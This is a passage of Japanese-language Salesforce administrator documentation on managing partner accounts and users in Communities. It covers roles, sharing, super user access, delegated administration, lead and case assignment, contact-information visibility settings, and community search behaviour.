取引先を作成する
• 取引先に対する「作

成」

パートナー取引先を無効
化する
• 「外部ユーザの管理」

パートナー取引先は削除できませんが、無効化することはできます。パートナー
取引先を無効化すると、その取引先に関連付けられているパートナーユーザも
無効化されます。コミュニティアクセスで取引先が誤って有効化された場合に
のみ、パートナー取引先を無効化することをお勧めします。
パートナー取引先を無効化すると、次のようになります。
• 取引先に関連付けられている最大 15 件の有効な外部ユーザおよび無効な外部

ユーザが完全に無効化されます。関連付けられているすべてのコミュニティ、
グループ、チーム、権限セット、共有ルールからも削除されます。

• 15 件を超える有効な外部ユーザまたは無効な外部ユーザが関連付けられてい
る取引先は無効化できません。取引先を無効化する前に、ユーザを無効化し
ます。

• 取引先に関連付けられているロールおよびグループは完全に削除され、ごみ
箱には移動しません。

1. 無効化する取引先の取引先詳細ページに移動します。
2. [外部取引先の管理] をクリックし、[パートナー取引先の無効化] をクリック

します。
3. [OK] をクリックして確認します。
後で取引先を再有効化する場合、個別の取引先責任者をパートナーコミュニティ
ユーザとして再度有効化できます。パートナーコミュニティの取引先責任者を
再度有効化すると、以前のパートナーユーザやロールに関連しないパートナー
ユーザレコードが作成されます。削除されたロールやグループを復元すること
はできません。
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パートナーユーザの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パートナーユーザを作
成、編集、無効化、また
は非アクティブ化する
• 「外部ユーザの管理」

取引先責任者を作成する
• 取引先責任者に対する

「作成」

取引先責任者を参照する
• 取引先責任者に対する

「参照」

パートナー取引先を作成したら、ユーザを取引先責任者レコードとして取引先
に追加し、パートナーユーザに変換します。パートナーユーザは、商談、リー
ド、キャンペーンなどの CRM オブジェクトにアクセスできる Salesforce ユーザで
す。コミュニティに招待されたパートナーユーザは、Salesforce データにアクセ
スできます。

ヒント: パートナユーザを作成する前にコミュニティを設定して、パート
ナーユーザが準備のできていないコミュニティにログインしないようにし
ます。

1. パートナーユーザに変換するパートナー取引先の取引先責任者を表示しま
す。

2. 取引先責任者の詳細ページで[外部ユーザの管理]をクリックし、[パートナー
ユーザを有効化] を選択します。

3. このパートナーのユーザレコードを編集し、パートナーライセンス、ロー
ル、およびプロファイルを割り当てます。

ヒント: ユーザが商談、リード、キャンペーンなどの CRM オブジェクト
にアクセスする必要がない場合、カスタマーコミュニティプラスライセ
ンスを使用できます。

4. [保存] をクリックします。
パートナーユーザを作成したら、パートナー取引先とパートナーユーザを独立
して編集できます。一方に施された変更がもう一方に反映されることはありま
せん。

ヒント: パートナーユーザ取引先に関する問題のチェックやトラブルシューティングを行うには、取引先
責任者の詳細ページで [外部ユーザの管理]をクリックし、[ユーザとしてポータルにログイン]を選択しま
す。新規ブラウザウィンドウが開き、コミュニティユーザとしてコミュニティにログインします。

パートナーユーザを作成するときは、次の点に留意してください。
• パートナーユーザが利用できるプロファイルは、パートナーユーザプロファイルか、パートナーユーザプ

ロファイルからコピーしたプロファイルに制限されます。
• 取引先責任者を取引先のパートナーユーザまたはカスタマーユーザとして初めて有効にしたときは、[ロー

ル] ドロップダウンは参照のみです。次回、この取引先の取引先責任者をカスタマーユーザまたはパート
ナーユーザとして有効にしたときには、このユーザの [ロール] を選択できます。

• 標準ユーザとは異なり、パートナーユーザロールは、アカウント名に基づいて自動的に割り当てられます。
• パートナーユーザロールは、取引先所有者のロールの下位にあります。パートナーユーザロールのすべて

のデータは、パートナー取引先所有者のロールに積み上げ集計されます。パートナーユーザを無効化する
と、パートナーユーザロールが無効になり、そのデータはパートナー取引先ロールに積み上げ集計されな
くなるので、注意してください。

• パートナーユーザと取引先責任者は削除できません。コミュニティに対するパートナーユーザのアクセス
権を取り消す場合は、パートナーユーザを無効にします。
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• ユーザを代理管理者として有効にした場合、次の要件を注意してください。ユーザが外部ユーザを作成す
るには、少なくとも 1 つのパートナープロファイルを [割り当て可能なプロファイル] 関連リストに追加し、
ユーザに「外部ユーザの管理」権限を割り当てる必要があります。

関連トピック:

コミュニティユーザライセンス

パートナーユーザプロファイル

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パートナーコミュニティライセンスを購入すると、組織でパートナーユーザプ
ロファイルが自動的に作成されます。パートナーユーザプロファイルは変更で
きませんが、パートナーユーザプロファイルをコピーするか、権限セットを作
成してパートナーユーザが実行できる操作を指定できます。

メモ: パートナーユーザプロファイルは、パートナーポータルまたはカス
タマーコミュニティプラスライセンスを購入した組織でも使用できます。

パートナーユーザに割り当てるプロファイルで、コミュニティ内でアクセスで
きるデータを定義します。たとえば、プロファイルおよび権限セットを使用し
て、ユーザがケースやカスタムオブジェクトレコードの参照、作成、編集がで
きるかどうかを制御できます。また、パートナーユーザプロファイルをコピー
して、さまざまな権限を持つカスタムプロファイルを作成することもできます。
コピーした各プロファイルで、「API 限定ユーザ」権限が選択されていないことを確認します。この権限が選
択されているユーザは、コミュニティにログインできません。

パートナーユーザロール

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

「外部ユーザの管理」パートナーユーザを管理する

「プロファイルと権限セットの管理」プロファイルを作成、編集、および削除
する

「アプリケーションのカスタマイズ」ページレイアウトを作成、編集、および
削除する

「プロファイルと権限セットの管理」

および

項目レベルセキュリティを設定する

「アプリケーションのカスタマイズ」

「共有の管理」共有ルールを設定する
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パートナー取引先の最初の外部ユーザを有効にすると、その取引先のユーザロール階層が作成されます。この
ロール階層は、取引先所有者 (通常はチャネルマネージャ) に積み上げ集計されます。この階層の 3 つのロール
は、パートナーユーザ、パートナーマネージャ、パートナーエグゼクティブです。パートナー取引先の取引先
責任者を作成し、外部ユーザに変換したら、これらのロールのいずれかを割り当てます。
パートナーユーザロールはパートナーマネージャロールに積み上げ集計され、パートナーマネージャロールは
パートナーエグゼクティブロールに積み上げ集計されます。パートナーエグゼクティブロールは、チャネルマ
ネージャロールに積み上げ集計されます。特定のレベルのロールを与えられたパートナーユーザは、組織の共
有モデルとは無関係に、ロール階層において自分よりも下位のユーザによって所有または共有されているすべ
てのデータを参照および編集できます。
ロール名には、パートナー取引先名が含まれます。たとえば、パートナー取引先名が Acme の場合、Acme パー
トナーユーザ、Acme パートナーマネージャ、および Acme パートナーエグゼクティブの 3 つのロールが取引先
に作成されます。パートナー取引先所有権が別のチャネルマネージャに変更された場合、パートナーユーザ
ロールは、ロール階層のその場所に移動します。

ヒント: ロールの数を 1 つに減らすことを強くお勧めします。他のパートナーユーザのデータを参照でき
るようにするパートナーユーザにスーパーユーザアクセスを付与します。

パートナーロールを削除すると、ロールの名前が変更されて階層が維持されます。たとえば、エグゼクティ
ブ、マネージャ、およびユーザという 3 つのロールで構成される階層からマネージャロールが削除されると、
エグゼクティブロールの名前がマネージャに変更されます。ただし、同じオブジェクト ID が維持されます。
パートナーロールを作成すると、自動的にこの階層の最下部に配置されます。パフォーマンスを向上するため
に複数のロールを一括削除できます。たとえば、ほとんどのユーザにユーザロールが割り当てられている場合
は、エグゼクティブロールとマネージャロールを削除できます。パートナーロールの削除についての詳細は、
『SOAP API 開発者ガイド』を参照してください。

関連トピック:

ポータルロールの制限
デフォルトのコミュニティロール数の設定
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パートナーユーザとのデータの共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パートナーユーザを管理
する
• 「外部ユーザの管理」

項目レベルセキュリティ
を設定する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

共有ルールを設定する
• 「共有の管理」

Salesforce データをコミュニティのパートナーユーザと共有できるように、デフォ
ルトで共有グループおよび共有ルールカテゴリが組織で使用できるようになっ
ています。

ヒント: 組織の共有設定や項目レベルセキュリティでも、コミュニティの
パートナーのデータアクセスを制御します。コミュニティのパートナーユー
ザに公開するすべてのオブジェクトで、[デフォルトの外部アクセス権] を
[非公開] に設定します。

組織のパートナーライセンスを購入すると、次のグループと共有ルールカテゴ
リが作成されます。

説明グループまたはカテゴリ

組織内のすべてのパートナーユーザが
含まれます。

「すべてのパートナーポータルユー
ザ」グループ

組織内のすべての Salesforceユーザが含
まれます。

「すべての内部ユーザ」グループ

共有ルールを作成し、ロールによって
組織内の特定の Salesforce ユーザ (選択
したロールの下位ロールのユーザを含
む) を選択できます。パートナーロー
ルは除外されます。

「ロール & 内部下位ロール」共有ルー
ルカテゴリ

これらのグループと共有ルールカテゴリを使用して、すべてのコミュニティ、
ポータル、または Salesforce のユーザ全員に特定のデータへのアクセスを許可す
る共有ルールを簡単に作成できます。コミュニティユーザと内部 Salesforce ユーザ間でレコードを共有するため
の共有ルールも作成することはできますが、異なるパートナー取引先に関連付けられたパートナーユーザ間で
共有ルールを作成することはできません。

メモ: カスタマーコミュニティライセンスでは、共有セットはサポートされますが、共有ルールはサポー
トされません。共有セットでは、同じ種別の複数の他のオブジェクトに関連付けられているオブジェク
ト (取引先責任者-to-複数取引先機能など) はサポートされません。そのような機能を使用するには、コミュ
ニティメンバーにカスタマーコミュニティプラスまたはパートナーコミュニティライセンスが必要です。
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パートナーユーザへのスーパーユーザアクセスの付与

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パートナースーパーユー
ザアクセスを有効化する
• 「アプリケーションの

カスタマイズ」

スーパーユーザアクセスがあるパートナーユーザは、ロール階層で下位にいる
他のパートナーまたはユーザが所有するデータを参照できます。たとえば、パー
トナー取引先のマネージャが、直属部下が所有するデータを参照できるように
することができます。
スーパーユーザアクセスをユーザに付与する前に次の点に留意してください。
• 個々のパートナーユーザにアクセス権を付与する前にコミュニティ設定で

パートナースーパーユーザアクセスを有効にします。
• パートナースーパーユーザアクセスはケース、リード、カスタムオブジェク

ト、および商談のみに適用されます。
• パートナースーパーユーザは、組織の共有設定が非公開に設定されていて

も、共有ルールに関係なく、パートナー取引先階層で下位にいる他のユーザ
が所有するすべてのデータにアクセスできます。
たとえば、同じ取引先で同じロールを持つ 2 人のパートナースーパーユーザ
について検討します。ユーザ A はいくつかの商談を所有しており、ユーザ B

は他の商談を直接共有しています。この場合、ユーザ A はユーザ B が所有す
るすべての商談にアクセスでき、ユーザ B はユーザ A のすべての商談にアク
セスできます。

アクセスできるデータの所有者パートナースーパーユーザのロール

パートナーエグゼクティブ – 同じロールを持つすべてのパートナーユーザと
パートナースーパーユーザ

– 階層で下位にいるマネージャロールとユーザロー
ル

パートナーマネージャ – 同じロールを持つすべてのパートナーユーザと
パートナースーパーユーザ

– 階層で下位にいるユーザロール

同じロールを持つすべてのパートナーユーザとパー
トナースーパーユーザ (ユーザロールのみ)

パートナーユーザ

• この情報を使用して、パートナーコミュニティライセンスを持つユーザにスーパーユーザアクセスを付与
できます。

1. パートナー取引先のユーザの取引先責任者レコードを表示します。
2. [外部取引先の管理] をクリックし、[スーパーユーザアクセスを有効化] を選択します。
3. [OK]をクリックします。
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これにより、パートナーコミュニティライセンスを持つユーザにスーパーユーザアクセスが付与されます。カ
スタマーコミュニティプラスライセンスを持つユーザにスーパーユーザアクセスを付与することもできます。

関連トピック:

コミュニティでのカスタマーユーザへのスーパーユーザアクセスの付与
コミュニティのスーパーユーザアクセスの有効化

パートナーユーザに対するリードの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パートナーユーザに対し
てリードを有効化する
• 「プロファイルと権限

セットの管理」

Salesforce タブ + Visualforce テンプレートを使用している場合、コミュニティ内の
パートナーユーザに対してリードを有効化して、コミュニティでリードへのア
クセスや作成ができるようにします。
コミュニティ内のパートナーユーザに対してリードを有効化すると、リードを
それらのメンバーに割り当てることができます。また、パートナーユーザは、
リストビューでリードを編集、作成、インポート、一括更新することもできま
す。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理[タブ]]をクリックし、[リード]タブをコミュニティで使用可能なタブの

リストに追加します。
3. [設定] で、タブ表示とオブジェクト権限を設定します。これらをプロファイ

ルに設定することも、権限セットを使用して設定こともできます。これらの
権限を選択的に適用する場合は、権限セットを使用することをお勧めしま
す。
a. 権限セットを使用する場合、リードの次の設定を使用します。

• [タブの設定] で [利用可] および [参照可能] を選択します。
• [オブジェクト設定] で [参照]、[作成]、および [編集] を選択します。

b. パートナーユーザプロファイルなどのプロファイルを使用する場合、リードタブ設定を [デフォルトで
表示]に設定し、リードに対する「参照」、「作成」、および「編集」オブジェクト権限を有効化しま
す。

4. 必要に応じて、パートナーに対して高度な機能を有効化する追加の権限を割り当てることができます。こ
れらの権限を一部のパートナーユーザにのみ適用する場合は、別個の権限セットを作成することをお勧め
します。

メモ: 従来のポータルライセンスを持つパートナーユーザは、コミュニティではこれらの高度な機能
を使用できますが、ポータルでは使用できません。

必要なパートナーユーザ権限機能

「リードのインポート」
および

コミュニティで [リード] タブの [リードのインポート] リンクを使用し
てリードをインポートする。
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必要なパートナーユーザ権限機能

パートナーユーザがリードをインポートする場合、コミュニティで [取
引先] タブおよび [取引先責任者] タブの [組織の取引先と取引先責任者

必要に応じて「個人データのイ
ンポート」

のインポート]リンクを使用して取引先と取引先責任者のインポートを
許可することが適切な場合があります。

「リードの管理」[状況の変更] ボタンを使用して複数のリードの状況を変更する。

「リード所有者の移行」[所有者を変更] ボタンを使用して複数のリードの所有者を変更する。

外部ユーザの代理管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

外部ユーザを管理する
• 「外部ユーザの管理」

プロファイルを作成、編
集、および削除する
• 「プロファイルと権限

セットの管理」

パートナー組織に多数のユーザがいる場合、ユーザ管理を外部ユーザに委任で
きます。
代理管理者である外部ユーザは、次の操作を実行できます。
• 外部ユーザレコードの作成および編集
• 外部ユーザのパスワードのリセット
• 既存の外部ユーザの無効化
外部ユーザの代理管理権限は、パートナーコミュニティ、カスタマーコミュニ
ティプラス、Gold Partner、エンタープライズ管理、およびカスタマーポータルマ
ネージャライセンスを持つユーザに付与できます。
標準プロファイルは編集できません。標準プロファイルに割り当てる権限セッ
トには、「外部ユーザの代理管理」を追加できます。
1. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファ

イル] を選択して、カスタムプロファイルをクリックします。
2. [編集] をクリックします。
3. [外部ユーザの代理管理] を選択します。
4. [保存] をクリックします。
5. [代理外部ユーザプロファイル] 関連リストで、[編集] をクリックします。
6. このプロファイルを持つユーザが管理できるプロファイルを選択します。
7. [保存]をクリックします。
代理外部ユーザ管理を設定するときは、次の点に留意してください。
• 権限セットを使用して、代理管理権限を付与することもできます。
• 代理管理権限を付与するプロファイルで、次の操作を実行します。

– 取引先責任者に「作成」および「編集」権限を追加して、代理管理者が自分の取引先に関連する取引先
責任者を作成および更新できるようにします。

– [取引先] と [取引先責任者] のタブの設定を [デフォルトで表示] に設定して、代理管理者が、[取引先] お
よび [取引先責任者] タブを表示して取引先に関連する取引先責任者を簡単に管理できるようにします。
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• コミュニティで取引先と取引先責任者を使用できることを確認します。
• 必要に応じて、代理外部ユーザ管理者が、指定した取引先および取引先責任者項目にのみアクセスできる

ように、項目レベルセキュリティとページレイアウトを設定します。

関連トピック:

コミュニティユーザの作成
パートナーユーザへのスーパーユーザアクセスの付与
コミュニティでのより多くの Salesforce オブジェクトデータの共有
コミュニティへのタブの追加

Lightning パートナー管理ソリューションを使用したパートナーコミュ
ニティの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning パートナー管理
ソリューションをインス
トールおよびカスタマイ
ズする
• 「アプリケーションの

カスタマイズ」

「コミュニティの作成
および設定」

「AppExchange パッ
ケージのダウンロー
ド」

パートナーの招待とチャネル販売の促進作業を同時に実行できる、ブランド設
定されたカスタム領域をすばやく作成します。このソリューションはあらかじ
めパッケージに含まれており、チャネルマネージャおよびパートナーが販売デー
タのコラボレーションや追跡を行うことができるように最適化されています。
リッチなブランド設定や反応型 UI を実現しながら簡単に設定ができるため、チャ
ネルパートナーの招待および販売の追跡と監視を 1 か所で同時に実行できる専
用のオンライン環境をすばやく構築できます。

前提条件
ソリューションをインストールする前に、組織で次のことを確認します。
• パートナーコミュニティまたはパートナーポータルライセンスがある
• コミュニティが有効になっている

標準で提供される機能
Lightning パートナー管理ソリューションには、あらかじめパッケージに含まれて
いるページ、コンポーネント、ビジネスロジック、およびチャネル管理 (販売 +

マーケティング) プロセスをサポートするその他の機能が用意されています。
チャネルマネージャとパートナーは、リード、商談、取引先、取引先責任者を
作成および共有できます。また、パートナーコミュニティでは次の機能も提供
されます。
• パートナー取引先の管理
• パートナーの採用、研修、およびサポート
• リードの分布
• 商談の登録
• コンテンツライブラリ
• パートナーの分析
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• マーケティング開発資金管理
Lightning パートナー管理ソリューションのインストールおよび設定についての詳細は、「Salesforce Lightning パー
トナー管理」ガイドを参照してください。

パートナーユーザへのケースの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パートナーにケースを割
り当てる
• ケースに対する「編

集」

および

「ケース所有者の移
行」または「所有権の
移行」

ケース情報を参照、変更、および更新できるようにパートナーユーザにケース
を割り当ててます。
ケースをパートナーに割り当てる前に、パートナーのケースを設定します。割
り当てることができるのは、アクセス権があるケースのみです。
1. ケース詳細ページで、[Change] 項目の横にある [ケース所有者] をクリックし

ます。
2. [所有者] ドロップダウンリストから[パートナーユーザ]を選択してパートナー

ユーザの名前を入力します。
3. 必要に応じて、[メールで通知する] チェックボックスをオンにし、新しい所

有者にメールを送信します。
4. [保存] をクリックします。
パートナーユーザは、コミュニティからケースの参照と編集を行えます。

メモ:

• パートナーコミュニティユーザが追加したケースコメントは公開され、
ケースを参照できるすべてのユーザが参照できます。

• 定義した条件に基づいてケースをパートナーユーザに自動的に割り当て
る、ケースの割り当てルールやエスカレーションルールを作成できま
す。
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パートナーユーザへのリードの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パートナーユーザにリー
ドを割り当てる
• リードに対する「編

集」

リードをパートナーに割り当てたり、独自のリードキューの使用をパートナー
に許可したりできます。
実行できる操作
• 各リードを、個々のパートナーユーザに割り当てる。
• リードをリードキューに割り当て、パートナーユーザがキューにリードを請

求するのを許可する。
• リードの割り当てルールを使用して、リードの特定のプロパティに基づいて

リードをパートナーユーザやキューに自動的に割り当てる。

メモ: コミュニティのユーザアクションでは割り当てルールはトリガさ
れません。

リードをパートナーユーザまたはパートナーリードキューに割り当てるのは、
リードを他のユーザまたはキューへ割り当てることに似ています。リードプー
ルの一部ではないユーザまたはキューに直接割り当てられているリードが、コ
ミュニティの [リード] ページまたはタブに表示されます。パートナーユーザは、
該当するリストビューを選択してリードを参照できます。リードは、パートナー
ユーザがレビューするまで太字で表示され、[私の未読リード] リストビューにあ
ります。
リードがリードプール内のキューに割り当てられている場合、そのリードは、[選択可能なリード] リストに表
示されます。

ヒント: パートナーリードは、パートナー取引先のパートナーマネージャまたはパートナーエグゼクティ
ブロールを持つユーザに割り当てます。こうすることで、マネージャはその取引先のパートナーユーザ
のリード割り当てを管理できます。

パートナーユーザへの ToDo と行動の割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パートナーユーザに行動
を割り当てる
• 「行動の編集」

カレンダーをコミュニティに追加している場合、そのカレンダーに行動を追加
できます。「行動の編集」権限を持つパートナーユーザは、各自の行動を作成
および編集できます。また、パートナーユーザは、項目レベルセキュリティ設
定が適切であれば、リードまたは商談に関連する活動を参照および作成できま
す。

メモ: カレンダー、行動、および活動は、Salesforce タブ + Visualforce テンプ
レートでのみ使用できます。

パートナーユーザは、実行する必要のある特定のタスクのアラームとしてリー
ドまたは商談に ToDo を追加できます。システム管理者およびチャネルマネー
ジャは、特定のリードまたは商談の活動履歴を参照できます。またはレポート
を使用して、パートナーユーザに割り当てられた活動を追跡できます。パート
ナーユーザは、次のユーザの ToDo のみを追加でき、次のユーザに共有されたカ
レンダーのみを参照できます。
• 同じ取引先に割り当てられた他のパートナーユーザ
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• 取引先のチャネルマネージャ

メモ: 行動とカレンダーの機能のうち、スペルチェック、行動の更新、拡張リストビュー、ドラッグアン
ドドロップによるスケジュール、カレンダーの共有、詳細のフロート表示はコミュニティでサポートさ
れていません。

コミュニティに関するユーザの教育

コミュニティ内での個人連絡先情報の共有
ユーザは、顧客およびパートナーなどの外部ユーザや、ログインなしでアクセスできる公開ページを参照する
ゲストユーザに対して、プロファイルに含まれるどの情報を表示するかを指定できます。
他のコミュニティメンバーとやりとりする場合、表示およびアクセス可能にすることと個人連絡先情報の保護
とのバランスを取ることが重要です。役職、電話番号、その他の詳細は、内部組織外に公開したくないことが
あります。顧客およびパートナーは、すべての連絡先情報を他の顧客やパートナーに表示したくないことがあ
ります。
表示を制御するには、ユーザインターフェースまたは API を使用します。従業員のみ、社外のコミュニティの
メンバー、またはログインが不要なゲストユーザに対して項目を公開することを選択できます。一部の項目
は、コミュニティにアクセスする全員に常に表示されます。項目によっては 3 レベルの表示を設定できるもの
もあれば、それより少ないレベルの項目もあります。
• 従業員 — 内部組織のメンバーのみが表示できます。
• 外部 — 内部組織のメンバーおよび外部メンバー (顧客やパートナーなど) が表示できます。外部ユーザと

は、コミュニティのユーザ、カスタマーポータルまたはパートナーポータルライセンスを持つユーザです。
• 公開 — ログインなしでアクセスできる公開ページを参照するゲストユーザを含め、誰でも表示できます。

ゲストユーザは、各サイトまたはコミュニティに関連付けられたゲストユーザライセンスを使用して、コ
ミュニティの公開ページにアクセスできます。

API で、User オブジェクトの項目を true に設定すると、項目名で指定された種別のユーザ (外部ユーザまたは
ゲストユーザ) に表示されるようになります。
連絡先情報の表示に関する次のヒントを考慮してください。
• 選択した設定は、自分がメンバーであるすべてのコミュニティに適用されます。
• 連絡先情報項目の表示が制限されているユーザの場合、ユーザインターフェースとAPIでは表示内容に違い

があります。
– ユーザインターフェースでは、制限された項目は、コミュニティでは通常表示されても、プロファイル

では非表示になります。組織でプロファイル情報を Visualforce のカスタムページで表示する場合、項目
は表示されても、その値は #N/A になります。

– API では、false に設定された項目には #N/A という値が返されます。
• コミュニティの他のパートナーおよび顧客は、プロファイルの非表示項目の情報を検索できませんが、会

社の内部組織のユーザはこの情報を検索できます。
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連絡先情報のデフォルトの表示設定
次のテーブルに、連絡先情報のデフォルトの表示設定および表示の制限オプションをまとめます。

Userオブジェクトでの API コントロール表示の制限オプ
ション

ユーザインター
フェースでの設
定場所

デフォ
ルトの
表示

連絡先情報

なしシステム管理者
がニックネーム

あなたの名前  >
[連絡先情報の
編集] にアクセ

Public名
姓
ニックネーム

表示を有効化す
るか、この情報スし、[バー

ジョン情報] を
クリック

自己紹介 を表示するカス
タムページを作
成しない限り、
これらの項目が
常に全員に表示
されます。シス
テム管理者が
ニックネーム表
示を有効化した
場合、ほとんど
の場所で氏名の
代わりにニック
ネームが表示さ
れます。

UserPreferencesShowTitleToExternalUsers

UserPreferencesShowTitleToGuestUsers

従業員、外部、
または公開

あなたの名前  >
[連絡先情報の
編集] にアクセ

外部役職

メモ: ゲストユーザの設定が trueの場合、
外部メンバーの設定が falseでも役職項目
は外部メンバーに表示されます。

スし、[バー
ジョン情報] を
クリック

UserPreferencesShowProfilePicToGuestUsers外部または公開プロファイル
ページで、写真

外部。
アクセ

プロファイル写
真

の下にある [更ス権の
新] (写真が追加ない
されていない場ユーザ
合は [写真の追にはス
加]) をクリックトック
し、[Show in写真が

表示さ communities
withれま

す。 publicly
accessible

pages (公開さ
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Userオブジェクトでの API コントロール表示の制限オプ
ション

ユーザインター
フェースでの設
定場所

デフォ
ルトの
表示

連絡先情報

れているページ
でコミュニティ
を表示)] を選
択

従業員、外部、
または公開

あなたの名前  >
[連絡先情報の
編集] にアクセ

従業員
数

市区郡
国
メール

メモ: 項目の表示を制御する設定ペアごと
に、ゲストユーザの設定が true の場合、
外部メンバーの設定が falseでも項目は外
部メンバーに表示されます。

スし、[取引先
責任者] をク
リック

Fax

携帯電話 UserPreferencesShowCityToExternalUsers

UserPreferencesShowCityToGuestUsers都道府県
UserPreferencesShowCountryToExternalUsers町名・番地
UserPreferencesShowCountryToGuestUsers

勤務先電話番号
UserPreferencesShowEmailToExternalUsers

郵便番号
UserPreferencesShowEmailToGuestUsers

UserPreferencesShowFaxToExternalUsers

UserPreferencesShowFaxToGuestUsers

UserPreferencesShowManagerToExternalUsers

UserPreferencesShowManagerToGuestUsers

UserPreferencesShowMobilePhoneToExternalUsers

UserPreferencesShowMobilePhoneToGuestUsers

UserPreferencesShowPostalCodeToExternalUsers

UserPreferencesShowPostalCodeToGuestUsers

UserPreferencesShowStateToExternalUsers

UserPreferencesShowStateToGuestUsers

UserPreferencesShowStreetAddressToExternalUsers

UserPreferencesShowStreetAddressToGuestUsers

UserPreferencesShowWorkPhoneToExternalUsers

UserPreferencesShowWorkPhoneToGuestUsers
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Salesforce からコミュニティへのアクセス
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティメンバーでもある内部 Salesforce ユーザは、グローバルヘッダーを
使用してコミュニティに簡単にアクセスできます。グローバルヘッダーはデフォ
ルトでは使用できず、組織のシステム管理者がコミュニティメンバー用に有効
にする必要があります。

メモ:  Winter '14 以前にコミュニティを有効化した組織では、コミュニティを
有効にすると、デフォルトで新しいグローバルヘッダーが表示されます。

左側のメニューで、コミュニティと内部組織を切り替えることができます。内部組織とコミュニティの切り替
えでは、ワークフローは中断されません。最後に作業していたページに自動的に戻るため、中断した場所から
再開できます。また、個別のブラウザタブから複数のコミュニティで同時に作業できます。
• ドロップダウンには、自分がメンバーになっているすべての有効なコミュニティが表示されます。
• 「コミュニティの作成および設定」権限がある場合は、自分がメンバーになっているプレビューコミュニ

ティも表示されます。
• コミュニティのメンバーではない内部ユーザには、会社名のみが表示されます。
• 外部ユーザは、複数の有効なコミュニティに属している場合にのみドロップダウンメニューが表示されま

す。
• 1 つの有効なコミュニティにしか属していない外部ユーザにプレビューコミュニティの URL が与えられてい

る場合、コミュニティではドロップダウンメニューは表示されません。

重要: 組織で [私のドメイン] を設定中であり、新しいカスタムドメインのリリースが完了していない場合
にコミュニティから内部組織に切り替えると、代わりに Salesforce ログインページに移動します。登録済
みでまだリリースされていない [私のドメイン] の URL を使用してログインした場合に、この状態になりま
す。ドメインがリリースされた後でドロップダウンで組織を選択すると、期待どおりに内部組織に移動
します。

右側の あなたの名前 メニューには、連絡先情報の編集とログアウトを行うためのリンクが含まれています。
内部ユーザの場合には、[ヘルプ & トレーニング] へのリンクも含まれ、ユーザ権限および有効な機能に応じて
[設定] および他のツールへのリンクが含まれる場合もあります。

重要: グローバルヘッダーは、Lightning Experienceではサポートされていないため、グローバルヘッダーか
らコミュニティの作成、管理、またはアクセスを行うには、Salesforce Classicに切り替えます。組織でLightning
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Experienceを使用している場合は、適切な権限を持つユーザがSalesforce Classicに戻してグローバルヘッダー
にアクセスする必要があります。

関連トピック:

Salesforce Communities の概要

コミュニティ内の検索動作
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティの検索機能によって、メンバーの操作性が決まります。コミュニ
ティの検索は、コミュニティがコミュニティビルダーベースのテンプレートか、
Salesforce タブ + Visualforce テンプレートのどちらを使用しているかに応じて異な
ります。通常、コミュニティ内で検索を行うと、そのコミュニティに固有の結
果が返されます。

メモ: オブジェクトをコミュニティで検索するには、そのオブジェクトが
Lightning Experience で検索可能で、コミュニティテンプレートでサポートさ
れている必要があります。

すべてのコミュニティ:

コミュニティの検索動作は、内部組織の検索とは異なります。
• 通常、コミュニティ内で検索を行うと、そのコミュニティ内から一致結果が返されます。異なるコミュ

ニティの項目を検索するには、メンバーは現在のコミュニティを出て、他のコミュニティ内から検索す
る必要があります。

• コミュニティの検索結果でメンバーが表示できるのは、プロファイルまたは権限セットでアクセス権が
付与されたデータです。さらに、コミュニティのコンテキストで明示的に共有されているデータも表示
できます。これには、コミュニティの残りと明示的に共有されていない社内コンテンツおよびレコード
が含まれる場合があります。たとえば、ユーザプロファイルで取引先へのアクセスが許可されている場
合、[取引先] タブがコミュニティに公開されていなくても、メンバーは検索結果から取引先データを表
示できます。

• コミュニティの外部ユーザによって実行されるユーザ検索の場合、グローバル検索および拡張ルック
アップ検索 ([すべての項目] オプションが選択されている) がクエリするのは、次の項目セットに制限さ
れます。
– 名前
– ユーザ名
– ユーザ ID

– 内容
– メール
– 電話
– カスタム項目
たとえば、外部コミュニティメンバーがユーザ John Doe を別名 jdoe で検索したとします。この語が
ユーザオブジェクトの検索可能な項目に含まれていない場合、John Doe のレコードは検索結果に含まれ
ません。
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• 検索結果には、コミュニティメンバーにアクセス権があるすべてのレコードとファイルが含まれます。
これには、コミュニティに明示的に公開されていないレコードや、内部Salesforce組織でアクセス権があ
るレコードとファイルが含まれます。ファイル検索の場合、ユーザは次のファイルを参照できます。
– 所有しているファイル
– 直接共有されているファイル
– ライブラリ内のアクセス権のあるファイル
– アクセス権のあるレコードに投稿されたファイル
– グループに投稿されたファイルまたは該当のコミュニティで共有されているファイル

